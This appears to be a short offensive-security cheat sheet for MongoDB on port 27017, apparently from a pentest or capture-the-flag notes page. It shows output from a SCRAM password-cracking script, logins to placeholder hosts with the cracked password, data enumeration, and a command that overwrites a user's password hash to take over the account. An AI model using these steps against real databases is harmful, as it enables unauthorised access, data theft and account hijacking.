Skip to content

MongoDB 27017

Scram Crack

$ python3 scram-crack.py 
Tried 1000 passwords
Tried 2000 passwords
Tried 3000 passwords
Tried 4000 passwords
Password found: password123

Connect MongoDB

mongo 'mongodb://admin:password123@mongodb0.examples.com'
mongo --host mongodb0.examples.com --port 28015 -u "alice" -p "password123""

Using MongoDB

Step 1: See all your databases:

show dbs

Step 2: Select the database

use your_database_name

Step 3: Show the collections

show collections

This will list all the collections in your selected database.

Step 4: See all the data

db.collection_name.find()
db.collection_name.find().pretty()

Find and update user

Find user:1 in collection object

db.objects.find({ _key: /^user:1$/ })

Update password for user:1

db.objects.update({ _key: /^user:1$/ }, { $set: { password: "$2y$12$LMqnkbq1FpTnOzAWTgizbugAOpGJaKl0h7PVHvDraW9e0wK2SR7Zu" }})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })